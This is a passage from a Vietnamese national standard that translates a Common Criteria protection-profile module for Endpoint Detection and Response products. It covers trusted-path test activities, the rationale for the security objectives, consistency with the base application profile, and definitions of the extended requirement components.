**Lưu ý áp dụng:** Yêu cầu này đảm bảo rằng các quản trị viên từ xa được ủy quyền bắt đầu tất cả các giao tiếp với EDR thông qua một đường dẫn đáng tin cậy và tất cả các giao tiếp với EDR bởi các quản trị viên từ xa được thực hiện trên đường dẫn đó. Dữ liệu được truyền trong kênh truyền thông đáng tin cậy này được mã hóa như được định nghĩa trong giao thức được chọn trong lựa chọn đầu tiên. Tác giả ST chọn cơ chế hoặc cơ chế được hỗ trợ bởi EDR.

|  |  |
| --- | --- |
| **Hoạt động** | **Hoạt động đảm bảo** |
| TSS | *Đánh giá viên phải kiểm tra TSS để xác minh cách bảo vệ thông tin liên lạc quản trị từ xa và phù hợp với SFR. Đánh giá viên phải kiểm tra TSS để xác định rằng các phương pháp quản trị TOE từ xa được chỉ định, cùng với cách các thông tin liên lạc đó được bảo vệ. Đánh giá viên cũng sẽ xác nhận rằng tất cả các giao thức được liệt kê trong TSS để hỗ trợ quản trị TOE phù hợp với các giao thức được chỉ định trong yêu cầu và được bao gồm trong các yêu cầu trong ST.**Nếu "gọi nền tảng cung cấp chức năng cho..." được chọn trong FTP\_TRP.1.1, Đánh giá viên phải xác minh TSS chứa các cuộc gọi đến nền tảng mà TOE đang tận dụng để gọi chức năng.* |
| Hướng dẫn | *Đánh giá viên phải xác nhận rằng hướng dẫn hoạt động chứa các hướng dẫn để thiết lập các phiên xác nhận từ xa cho từng phương pháp được hỗ trợ.* |
| Đánh giá | ***Thử nghiệm 1:*** *Các Đánh giá viên phải đảm bảo rằng thông tin liên lạc sử dụng từng phương pháp quản trị từ xa được chỉ định (trong hướng dẫn hoạt động) được kiểm tra trong quá trình đánh giá, thiết lập các đối số như được mô tả trong hướng dẫn hoạt động và đảm bảo rằng giao tiếp thành công.****Thử nghiệm 2:*** *Đối với mỗi phương pháp quản trị từ xa được hỗ trợ, Đánh giá viên phải tuân theo hướng dẫn hoạt động để đảm bảo rằng người dùng từ xa không thể sử dụng giao diện có sẵn để thiết lập các phiên quản trị từ xa mà không cần gọi đường dẫn đáng tin cậy.****Thử nghiệm 3:*** *Đánh giá viên phải đảm bảo, đối với mỗi phương pháp quản trị từ xa, dữ liệu kênh không được gửi bằng văn bản thuần túy.* |

9.4 Đặc điểm về các yêu cầu chức năng an toàn TOE

Các đặc điểm sau đây cung cấp giải thích cho từng mục tiêu an toàn của TOE, cho thấy rằng các SFR phù hợp để đáp ứng và đạt được các mục tiêu an toàn:

|  |  |  |
| --- | --- | --- |
| **ĐỐI TƯỢNG** | **XÁC ĐỊNH BỞI** | **ĐẶC ĐIỂM** |
| O.ACCOUNTABILITY | FAU\_GEN.1/EDR, FIA\_AUT\_EXT.1 | PP-Module bao gồm FAU\_GEN.1/EDR để đảm bảo rằng TOE cung cấp trách nhiệm giải trình thông qua việc tạo các bản ghi kiểm toán cho các sự kiện liên quan đến an toàn.PP-Module bao gồm FIA\_AUT\_EXT.1 để cung cấp cơ chế xác thực người dùng quản lý để có thể được liên kết với hành động của người dùng. |
| O.EDR\_MANAGEMENT | FAU\_ALT\_EXT.1, FAU\_COL\_EXT.1,FIA\_AUT\_EXT.1, FIA\_PWD\_EXT.1,FMT\_SMF.1/ENDPOINT,FMT\_SMF.1/HOST, FMT\_SMR.1,FMT\_SRF\_EXT.1, FMT\_TRM\_EXT.1(Đối tượng) | PP-Module bao gồm FAU\_ALT\_EXT.1 để hỗ trợ quản lý bằng cách cung cấp chức năng cho người dùng được ủy quyền tương tác với dữ liệu liên quan đến an toàn được cung cấp cho TSF.PP-Module bao gồm FAU\_COL\_EXT.1 để hỗ trợ quản lý bằng cách xác định dữ liệu liên quan đến an toàn được thu thập bởi TSF. PP-Module bao gồm FIA\_AUT\_EXT.1 để xác định cách TSF xác thực người dùng quản trị để giới hạn các chủ thể có thể thực thi các chức năng quản lý trên TOE.PP-Module bao gồm FIA\_PWD\_EXT.1 để xác định các yêu cầu thành phần cho Yếu tố xác thực mật khẩu nhằm đảm bảo rằng người dùng không được ủy quyền thì không thể truy cập các chức năng quản trị được bảo vệ mà không được phép.PP-Module bao gồm FMT\_SMF.1/ENDPOINT để xác định các chức năng quản lý có thể được thực hiện để kiểm soát hành vi của TSF và các vai trò quản lý được phép thực hiện các chức năng đó.PP-Module bao gồm FMT\_SMF.1/HOST để xác định các chức năng quản lý có thể được thực hiện nhằm kiểm soát hành vi của Tác nhân máy chủ được kết nối với TOE và các vai trò quản lý được ủy quyền để thực hiện các chức năng đó.PP-Module bao gồm FMT\_SMR.1 để xác định các vai trò quản lý mà TSF hỗ trợ sao cho các chức năng quản lý của nó có thể được phân tách theo vai trò.PP-Module bao gồm FMT\_SRF\_EXT.1 để xác định các chức năng khắc phục khả dụng cho người dùng được ủy quyền để đưa ra các hành động khắc phục trên hệ thống có Tác nhân máy chủ được kết nối.PP-Module bao gồm FMT\_TRM\_EXT.1 để cung cấp khả năng tùy chọn nhằm đảm bảo tính toàn vẹn của các lệnh và chính sách quản lý được cấp cho Tác nhân máy chủ bên ngoài thông qua việc sử dụng chữ ký số. |
| O.PROTECTED\_TRANSIT | FCS\_DTLSS\_EXT.1 (từ gói TLS), FCS\_DTLSC\_EXT.1 (từ gói TLS), FCS\_HTTPS\_EXT.1 (từ Hồ sơ bảo vệ cơ sở), FCS\_TLSC\_EXT.1 (từ gói TLS), FCS\_TLSC\_EXT.2 (từ gói TLS), FCS\_TLSS\_EXT.1 (từ gói TLS), FCS\_TLSS\_EXT.2 (từ gói TLS), FPT\_ITT.1, FTP\_TRP.1 | PP-Module tham chiếu FCS\_HTTPS\_EXT.1 từ PP cơ sở cho các trường hợp khi HTTPS được sử dụng làm kênh liên lạc đáng tin cậy.PP-Module tham chiếu FCS\_DTLSC\_EXT.1 từ gói TLS cho các trường hợp khi DTLS với tư cách là máy khách được sử dụng làm kênh liên lạc đáng tin cậy.PP-Module tham chiếu FCS\_DTLSS\_EXT.1 từ gói TLS cho các trường hợp khi DTLS làm máy chủ được sử dụng làm kênh liên lạc đáng tin cậy.PP-Module tham chiếu FCS\_TLSC\_EXT.1 từ Gói TLS cho các trường hợp khi TLS được sử dụng làm kênh liên lạc đáng tin cậy trên máy khách.PP-Module tham chiếu FCS\_TLSC\_EXT.2 từ Gói TLS cho các trường hợp khi TOE sử dụng triển khai máy khách TLS hỗ trợ xác thực lẫn nhau.PP-Module tham chiếu FCS\_TLSS\_EXT.1 từ Gói TLS cho các trường hợp khi TLS được sử dụng làm kênh liên lạc đáng tin cậy trên máy chủ.PP-Module tham chiếu FCS\_TLSS\_EXT.2 từ Gói TLS cho các trường hợp khi TOE sử dụng triển khai máy khách TLS hỗ trợ xác thực lẫn nhau.PP-Module bao gồm FPT\_ITT.1 để xác định kênh tin cậy nội bộ mà TSF sử dụng để giao tiếp với các Tác nhân máy chủ được kết nối cũng như các giao thức truyền thông được sử dụng để thiết lập các kênh tin cậy này.PP-Module bao gồm FTP\_TRP.1 để xác định các giao thức truyền thông được sử dụng để hỗ trợ quản trị TSF từ xa an toàn. |

## 10 Đặc điểm về tính nhất quán

**10.1 Hồ sơ bảo vệ cho phần mềm ứng dụng**

**10.1.1 Tính nhất quán của chủng loại TOE**

Nếu PP-Module này được sử dụng để mở rộng Hồ sơ bảo vệ cho phần mềm ứng dụng, chủng loại TOE cho TOE tổng thể vẫn là một ứng dụng dựa trên phần mềm. Ranh giới TOE đơn giản được mở rộng để bao gồm chức năng EDR được tích hợp trong ứng dụng sao cho chức năng an toàn bổ sung được yêu cầu trong phạm vi của TOE.

**10.1.2 Tính nhất quán của định nghĩa các vấn đề an toàn**

Các mối đe dọa, giả định và OSP được xác định bởi PP-Module này bổ sung cho những điều được xác định trong TCVN 13468:2022 Công nghệ thông tin – Các kỹ thuật an toàn – Hồ sơ bảo vệ cho phần mềm ứng dụng như sau:

|  |  |
| --- | --- |
| **Mối đe dọa, Giả định, OSP** | **Đặc điểm về tính nhất quán** |
| T.MISCONFIGURATION | Mối đe dọa này phù hợp với Hồ sơ bảo vệ cơ sở vì đây là một ví dụ cụ thể về mối đe dọa T.LOCAL\_ATTACK được xác định ở đó. Trong trường hợp này, cuộc tấn công cục bộ nhằm thay đổi hành vi của chính ứng dụng một cách có chủ ý thay vì sử dụng ứng dụng như một phương pháp để tấn công nền tảng hệ điều hành. |
| T.CREDENTIAL\_REUSE | Mối đe dọa này là một ví dụ cụ thể về T.NETWORK \_EAVESDROP được định nghĩa trong Hồ sơ bảo vệ cơ sở. |
| A.CONNECTIVITY | Giả định này nhất quán với Hồ sơ bảo vệ cơ sở vì giả định tính khả dụng của mạng nhất quán với giả định A.PLATFORM được xác định bởi Hồ sơ bảo vệ cơ sở, giả định này mong muốn TOE có một nền tảng điện toán đáng tin cậy. |

**10.1.3 Tính nhất quán của các mục tiêu**

Các mục tiêu cho TOE nhất quán với Hồ sơ bảo vệ cho phần mềm ứng dụng dựa trên lý do sau:

|  |  |
| --- | --- |
| **Mối đe dọa, Giả định, OSP** | **Đặc điểm về tính nhất quán** |
| O.ACCOUNTABILITY | Mục tiêu này liên quan đến khả năng TOE xác định và xác thực người dùng và ghi lại hành vi của những người dùng này. Hồ sơ bảo vệ cơ sở không xác định cơ chế xác thực nên mục tiêu này không ảnh hưởng đến việc thực thi các SFR của Hồ sơ bảo vệ cơ sở. |
| O.EDR\_MANAGEMENT | Mục tiêu này mở rộng mục tiêu O.EDR.MANAGEMENT của Hồ sơ bảo vệ cơ sở bằng cách hỗ trợ các chức năng quản lý dành riêng cho loại EDR TOE. |
| O.PROTECTED\_TRANSIT | O.PROTECTED \_COMMS của Hồ sơ bảo vệ cơ sở bằng cách đảm bảo rằng các thông tin liên lạc liên quan đến EDR và Tác nhân máy chủ đã đăng ký được đảm bảo an toàn theo cách tương tự như dữ liệu nhạy cảm khác. |

Các mục tiêu cho Môi trường hoạt động của TOE nhất quán với Hồ sơ bảo vệ cho phần mềm ứng dụng dựa trên Đặc điểm sau:

|  |  |
| --- | --- |
| **Môi trường hoạt động** | **Đặc điểm về tính nhất quán** |
| OE.RELIABLE\_TRANSIT | Mục tiêu này liên quan đến một giao diện bên ngoài không tồn tại trong Hồ sơ bảo vệ cơ sở và không ảnh hưởng đến chức năng của Hồ sơ bảo vệ cơ sở. |

**10.1.4 Tính nhất quán của các yêu cầu**

PP-Module xác định một số SFR từ Hồ sơ bảo vệ cho phần mềm ứng dụng cần thiết để hỗ trợ chức năng Phát hiện và phản hồi điểm cuối (EDR). Điều này được coi là nhất quán vì chức năng do Hồ sơ bảo vệ cho phần mềm ứng dụng cung cấp đang được sử dụng cho mục đích đã định. Đặc điểm tại sao điều này không mâu thuẫn với các tuyên bố do Hồ sơ bảo vệ cho phần mềm ứng dụng xác định như sau:

|  |  |
| --- | --- |
| **Yêu cầu PP-Module** | **Đặc điểm về tính nhất quán** |
| **SFR sửa đổi** |
| PP-Module này không sửa đổi bất kỳ yêu cầu nào khi Hồ sơ bảo vệ cho phần mềm ứng dụng là cơ sở. |
| **SFR bắt buộc** |
| FAU\_ALT\_EXT.1 | SFR này xác định các cảnh báo có thể kiểm tra được cho EDR. Không ảnh hưởng đến chức năng [Hồ sơ bảo vệ cho phần mềm ứng dụng]. |
| FAU\_COL\_EXT.1 | SFR này xác định dữ liệu sự kiện tối thiểu mà EDR thu thập từ Tác nhân máy chủ. Không ảnh hưởng đến chức năng [Hồ sơ bảo vệ cho phần mềm ứng dụng]. |
| FAU\_GEN.1/EDR | SFR này xác định dữ liệu sự kiện tối thiểu mà máy chủ EDR phải ghi lại về hoạt động của bảng điều khiển quản lý được ủy quyền. Không ảnh hưởng đến chức năng [ Hồ sơ bảo vệ cho phần mềm ứng dụng ]. |
| FIA\_AUT\_EXT.1 | SFR này xác định cơ chế xác thực cho EDR. Không ảnh hưởng đến chức năng [ Hồ sơ bảo vệ cho phần mềm ứng dụng ]. |
| FIA\_PWD\_EXT.1 | SFR này xác định tiêu chí xác thực cụ thể cho mật khẩu. Không ảnh hưởng đến chức năng [ Hồ sơ bảo vệ cho phần mềm ứng dụng ]. |
| FMT\_SMF.1/ENDPOINT | SFR này xác định một bộ cụ thể các chức năng quản lý cho một EDR bởi một EDR. Không ảnh hưởng đến chức năng [ Hồ sơ bảo vệ cho phần mềm ứng dụng ]. |
| FMT\_SMF.1/HOST | SFR này xác định một bộ cụ thể các chức năng quản lý cho Tác nhân máy chủ bởi một EDR. Không ảnh hưởng đến chức năng [ Hồ sơ bảo vệ cho phần mềm ứng dụng ]. |
| FMT\_SMR.1 | SFR này xác định một nhóm vai trò quản lý cụ thể cho một EDR. Không ảnh hưởng đến chức năng [ Hồ sơ bảo vệ cho phần mềm ứng dụng ]. |
| FMT\_SRF\_EXT.1 | SFR này xác định một bộ chức năng khắc phục cụ thể cho EDR. Không ảnh hưởng đến chức năng [ Hồ sơ bảo vệ cho phần mềm ứng dụng ]. |
| FPT\_ITT.1 | SFR này xác định một bộ chức năng cụ thể để liên lạc an toàn khác biệt về mặt logic với Tác nhân máy chủ. Không ảnh hưởng đến chức năng [ Hồ sơ bảo vệ cho phần mềm ứng dụng ]. |
| FTP\_TRP.1 | SFR này xác định một bộ chức năng cụ thể để quản trị EDR từ xa an toàn. Không ảnh hưởng đến chức năng [ Hồ sơ bảo vệ cho phần mềm ứng dụng ]. |
| **SFR tùy chọn** |
| PP-Module này không xác định bất kỳ yêu cầu tùy chọn nào. |
| **SFR dựa trên lựa chọn** |
| PP-Module này không xác định bất kỳ yêu cầu dựa trên lựa chọn nào. |
| **SFR mục tiêu** |
| FMT\_TRM\_EXT.1 | SFR này xác định các biện pháp bảo vệ cho tính toàn vẹn của các lệnh được gửi đến Tác nhân máy chủ. Không ảnh hưởng đến chức năng [ Hồ sơ bảo vệ cho phần mềm ứng dụng ]. |

# Phụ lục A

(Quy định)

# Các SFR tùy chọn

PP-Module này không xác định bất kỳ SFR tùy chọn nào.

#  Phụ lục B

(Quy định)

# SFR cơ sở được lựa chọn

PP-Module này không xác định bất kỳ SFR cơ sở nào được lựa chọn.

# **Phụ lục C**

(Tham khảo)

# **SFR mục tiêu**

Phần này được dành riêng cho các yêu cầu hiện không được PP-Module này quy định nhưng dự kiến sẽ được đưa vào các phiên bản tương lai của PP-Module. Các đơn vị cung cấp có kế hoạch thực hiện đánh giá đối với các sản phẩm trong tương lai được khuyến khích lập kế hoạch để đáp ứng các yêu cầu khách quan này.

**FMT\_TRM\_EXT.1 Chức năng khắc phục đáng tin cậy**

FMT\_TRM\_EXT.1.1

***Tinh chỉnh:*** [ **lựa chọn**: *EDR, Nền tảng EDR*] phải ký điện tử các lệnh và chính sách được gửi đến Tác nhân máy chủ bằng chữ ký [ **lựa chọn***: RSA, ECDSA*] đáp ứng FIPS PUB 186-4.

***Lưu ý áp dụng:*** Mục đích của yêu cầu này là liên kết bằng mật mã bất kỳ cập nhật chính sách hoặc lệnh nào được gửi đến Tác nhân máy chủ dưới dạng từ EDR. Điều này không phải để bảo vệ các chính sách trong quá trình vận chuyển vì chúng đã được bảo vệ bởi FPT\_ITT.1. Nếu TSF thực hiện chức năng này, bất kỳ thuật toán chữ ký nào được sử dụng phải nhất quán với bất kỳ lựa chọn nào được thực hiện trong FCS\_COP.1(3).

# Phụ lục D

(Quy định)

# Định nghĩa thành phần mở rộng

Phụ lục này bao gồm các định nghĩa đối với các yêu cầu mở rộng được sử dụng trong PP-Module, bao gồm các định nghĩa được sử dụng trong Phụ lục A đến C.

**1 Bối cảnh và Phạm vi**

Phụ lục này cung cấp định nghĩa cho tất cả các thành phần mở rộng được giới thiệu trong PP-Module này. Các thành phần này được xác định trong bảng sau:

|  |  |
| --- | --- |
| **Lớp chức năng** | **Thành phần chức năng** |
| Kiểm toán an toàn (FAU) | *FAU\_ALT\_EXT Cảnh báo máy chủ**FAU\_COL\_EXT Dữ liệu điểm cuối đã thu thập* |
| Định danh và Xác thực (FIA) | FIA\_AUT\_EXT Cơ chế xác thực bảng điều khiển FIA\_PWD\_EXT Xác thực mật khẩu  |
| Quản lý an toàn (FMT) | *FMT\_SRF\_EXT Thông số kỹ thuật của chức năng khắc phục**FMT\_TRM\_EXT Chức năng khắc phục đáng tin cậy* |

**2 Định nghĩa thành phần mở rộng**

**FAU\_ALT\_EXT Cảnh báo máy chủ**

Các thành phần trong họ này xác định các yêu cầu đối với hoạt động hệ thống khiến TSF tạo ra cảnh báo về hoạt động và nội dung của các cảnh báo này.

**Cân bằng các thành phần**

FAU\_ALT\_EXT.1, Cảnh báo máy chủ, mô tả các kích hoạt cảnh báo và thông tin có trong cảnh báo.

**Quản lý: FAU\_ALT\_EXT.1**

Các hành động sau đây có thể được xem xét cho các chức năng quản lý trong FMT:

- Cấu hình triệt tiêu trực quan các cảnh báo.

**Kiểm toán: FAU\_ALT\_EXT.1**

Không có sự kiện có thể kiểm toán dự kiến.

**FAU\_ALT\_EXT.1 Cảnh báo Máy chủ**

Phân cấp tới: Không có thành phần nào khác.

Phụ thuộc vào: Không phụ thuộc.

**FAU\_ALT\_EXT.1.1**

EDR sẽ cảnh báo người dùng được ủy quyền trên bảng điều khiển quản lý trong trường hợp xảy ra bất kỳ trường hợp nào sau đây:

a. Thay đổi trạng thái đăng ký Tác nhân máy chủ,

b. Phát hiện hoạt động có khả năng trái phép trên các điểm cuối đã đăng ký.

**FAU\_ALT\_EXT.1.2**

EDR phải cung cấp thông tin dạng trực quan về các cảnh báo đã phát hiện về các sự cố trái phép tiềm ẩn và phải bao gồm:

a. Mức độ nghiêm trọng ban đầu của sự cố và [**lựa chọn**: *đánh giá, phân loại, điểm số, xếp hạng*],

b. Một dòng thời gian sự cố.

**FAU\_ALT\_EXT.1.3**

EDR phải cung cấp khả năng xuất dữ liệu cho các cảnh báo đã chọn với định dạng dựa trên tiêu chuẩn cụ thể là [**chỉ định**: *định dạng cảnh báo*].

**FAU\_COL\_EXT Dữ liệu điểm cuối đã thu thập**

Các thành phần trong họ này xác định các yêu cầu đối với dữ liệu được thu thập từ Tác nhân máy chủ.

**Cân bằng các thành phần**

FAU\_COL\_EXT.1, Dữ liệu điểm cuối được thu thập, xác định dữ liệu cụ thể được thu thập từ Tác nhân máy chủ.

**Quản lý: FAU\_COL\_EXT.1**

Các hành động sau đây có thể được xem xét cho các chức năng quản lý trong FMT:

- Cấu hình khoảng thời gian để truyền dữ liệu đã thu thập.

- Cấu hình thông tin nhãn hoặc thẻ để liên kết dữ liệu đã thu thập với các hệ thống điểm cuối riêng lẻ hoặc nhóm hệ thống.

**Kiểm toán: FAU\_COL\_EXT.1**

Không có sự kiện có thể kiểm toán dự kiến.

**FAU\_COL\_EXT.1 Dữ liệu điểm cuối đã thu thập**

Phân cấp thành: Không có thành phần nào khác.

Phụ thuộc vào: Không phụ thuộc.

**FAU\_COL\_EXT.1.1**

EDR phải thu thập bộ dữ liệu điểm cuối tối thiểu sau đây từ Tác nhân máy chủ:

a. Phiên bản, kiến trúc và địa chỉ IP của Hệ điều hành (OS),

b. Hoạt động đăng nhập tài khoản điểm cuối đặc quyền và không đặc quyền,

c. Tạo quy trình,

d. Thư viện và mô-đun được tải bởi các quy trình,

đ. Tên tệp và [chỉ định: siêu dữ liệu khác] của các tệp được tạo và [chỉ định: các hoạt động khác được thực hiện đối với tệp] trên bộ lưu trữ liên tục,

f. [**chỉ định**: *Dữ liệu máy chủ khác*].

**FIA\_AUT\_EXT Cơ chế xác thực bảng điều khiển**

Các thành phần trong họ này xác định các yêu cầu đối với hành vi xác thực duy nhất đối với EDR TOE.

**Cân bằng các thành phần**

FIA\_AUT\_EXT.1, Cơ chế xác thực bảng điều khiển, xác định các yếu tố xác thực duy nhất có thể được sử dụng để xác thực giao diện quản lý của EDR.

**Quản lý: FIA\_AUT\_EXT.1**

Không có chức năng quản lý cụ thể nào được xác định.

**Kiểm toán: FIA\_AUT\_EXT.1**

Không có sự kiện nào có thể kiểm tra được dự kiến.

**FIA\_AUT\_EXT.1 Cơ chế xác thực bảng điều khiển**

Phân cấp thành: Không có thành phần nào khác.

Phụ thuộc vào: Không phụ thuộc.

**FIA\_AUT\_EXT.1.1**

EDR phải [**lựa chọn**:

- tận dụng nền tảng để xác thực,

- cung cấp xác thực dựa trên tên người dùng/mật khẩu và [lựa chọn:

+ xác thực bằng thẻ thông minh bên ngoài và mã PIN,

+ không có yếu tố nào khác]

] để hỗ trợ đăng nhập vào bất kỳ bảng điều khiển hoặc API quản lý nào.

**FIA\_PWD\_EXT Xác thực mật khẩu**

Các thành phần trong họ này xác định các yêu cầu đối với tiêu chí xác thực mật khẩu.

**Cân bằng các thành phần**

FIA\_PWD\_EXT.1, Xác thực mật khẩu, xác định các yêu cầu về độ dài và bộ ký tự cho các yếu tố xác thực mật khẩu.

**Quản lý: FIA\_PWD\_EXT.1**

Không có chức năng quản lý cụ thể nào được xác định.

**Kiểm toán: FIA\_PWD\_EXT.1**

Không có sự kiện có thể kiểm toán dự kiến.

**FIA\_PWD\_EXT.1 Xác thực mật khẩu**

Phân cấp thành: Không có thành phần nào khác.

Phụ thuộc vào: FIA\_AUT\_EXT.1 Cơ chế xác thực bảng điều khiển

**FIA\_PWD\_EXT.1.1**

EDR phải hỗ trợ những điều sau đây cho Yếu tố xác thực mật khẩu:

1. Mật khẩu có thể bao gồm bất kỳ sự kết hợp nào của [**lựa chọn**: *chữ hoa và chữ thường*, [**chỉ định**: *bộ ký tự ít nhất 52 ký tự ]*], *số và ký tự đặc biệt*: [**lựa chọn**: *"!", " @", "#", "$", "%", "^", "&", "\*", "(", ")"*, [**chỉ định**: *ký tự khác*]],

2. Độ dài mật khẩu lên tới [**chỉ định**: *một số nguyên lớn hơn hoặc bằng 64*] ký tự phải được hỗ trợ.

**FMT\_SRF\_EXT Thông số kỹ thuật của chức năng khắc phục**

Các thành phần trong họ này xác định các yêu cầu đối với chức năng khắc phục mà EDR có thể thực hiện để tác động đến hành vi của hệ thống điểm cuối.

**Cân bằng các thành phần**

FMT\_SRF\_EXT.1, Đặc tả chức năng khắc phục, liệt kê các chức năng khắc phục được hỗ trợ và xác định các vai trò quản lý có thể thực hiện các chức năng này.

**Quản lý: FMT\_SRF\_EXT.1**

Không có chức năng quản lý cụ thể nào được xác định.

**Kiểm toán: FMT\_SRF\_EXT.1**

Không có sự kiện có thể kiểm toán nào được thấy trước.

**FMT\_SRF\_EXT.1 Đặc điểm kỹ thuật của chức năng khắc phục**

Phân cấp thành: Không có thành phần nào khác.

Phụ thuộc vào: FMT\_SMR.1 Vai trò quản lý an toàn

**FMT\_SRF\_EXT.1.1**

EDR phải có khả năng thực hiện các chức năng khắc phục sau:

|  |  |  |  |
| --- | --- | --- | --- |
| **Chức năng quản lý** | **Quản trị** | **Chuyên gia phân tích SOC** | **Người đọc** |
| Cách ly một điểm cuối bằng cách [lựa chọn: cách ly hợp lý điểm cuối khỏi mạng trừ khi được cho phép, cách ly tệp độc hại trên điểm cuối] | O | M | - |
| Chấm dứt một tiến trình đang chạy trên một điểm cuối | O | M | - |
| Truy xuất các tệp có khả năng bị trái phép hoặc bị ảnh hưởng từ một điểm cuối | O | O | - |

**FMT\_TRM\_EXT Chức năng khắc phục đáng tin cậy**

Các thành phần trong họ này xác định cách TOE có thể khẳng định tính xác thực của các hành động khắc phục mà nó yêu cầu từ Đại lý máy chủ.

**Cân bằng các thành phần**

FMT\_TRM\_EXT.1, Chức năng khắc phục đáng tin cậy, yêu cầu tất cả các hoạt động quản lý được ràng buộc đối với Tác nhân máy chủ phải được ký điện tử.

**Quản lý: FMT\_TRM\_EXT.1**

Không có chức năng quản lý cụ thể nào được xác định.

**Kiểm toán: FMT\_TRM\_EXT.1**

Không có sự kiện có thể kiểm toán dự kiến.

**FMT\_TRM\_EXT.1 Chức năng khắc phục đáng tin cậy**

Phân cấp thành: Không có thành phần nào khác.

Phụ thuộc vào: Không phụ thuộc.

**FMT\_TRM\_EXT.1.1**

[**lựa chọn**: *EDR, Nền tảng EDR*] phải ký điện tử các lệnh và chính sách được gửi đến Tác nhân máy chủ bằng chữ ký [**lựa chọn**: *RSA, ECDSA*] đáp ứng FIPS PUB 186-4.

# Phụ lục E

(Quy định)

# Các yêu cầu đáp ứng hoàn toàn

Phụ lục này liệt kê các yêu cầu mà các sản phẩm được đánh giá thành công dựa trên Hồ sơ bảo vệ này sẽ được coi là đáp ứng. Tuy nhiên, những yêu cầu này không được mô tả rõ ràng dưới dạng SFR và không được đưa vào ST. Chúng không được đưa vào như các SFR độc lập vì nó sẽ làm tăng thời gian, chi phí và độ phức tạp của việc đánh giá. Cách tiếp cận này được chấp nhận bởi [CC] Phần 1, 8.2 Sự phụ thuộc giữa các thành phần.

Thông tin này mang lại lợi ích cho các hoạt động kỹ thuật hệ thống yêu cầu đưa vào các biện pháp kiểm soát an toàn cụ thể. Đánh giá dựa trên Hồ sơ bảo vệ cung cấp bằng chứng cho thấy các biện pháp kiểm soát này hiện có và đã được đánh giá.

|  |  |
| --- | --- |
| **Yêu cầu** | **Tính nhất quán để đáp ứng** |
| FIA\_UID.1 - Thời gian định danh | CC Phần 2 chỉ định FIA\_UID.1 là phần phụ thuộc của FMT\_SMR.1 vì TSF phải có một số cách xác định người dùng để họ có thể được liên kết với các vai trò quản lý. Sự phụ thuộc này được giải quyết hoàn toàn thông qua FIA\_AUT\_EXT.1, chỉ định một phương pháp định danh người dùng thay thế. |
| FPT\_STM.1 - Dấu thời gian tin cậy | CC Phần 2 chỉ định FPT\_STM.1 là phần phụ thuộc của FAU\_GEN.1 vì các bản ghi kiểm tra yêu cầu dấu thời gian đáng tin cậy để đáp ứng FAU\_GEN.1.2. Sự phụ thuộc này được giải quyết hoàn toàn thông qua giả định A.PLATFORM của Hồ sơ cơ sở vì "nền tảng điện toán đáng tin cậy" được giả định là bao gồm đồng hồ hệ thống đáng tin cậy. |

# Thư mục tài liệu tham khảo

[1] PP-Module for Endpoint Detection and Response (EDR) Version: 1.0, 2020-10-23, National Information Assurance Partnership.

[2] TCVN 8709-1:2011 - Công nghệ thông tin. Các kỹ thuật an toàn. Các tiêu chí đánh giá an toàn CNTT. Phần 1: Giới thiệu và mô hình tổng quát.

[3] TCVN 13468:2022 Công nghệ thông tin – Các kỹ thuật an toàn – Hồ sơ bảo vệ cho phần mềm ứng dụng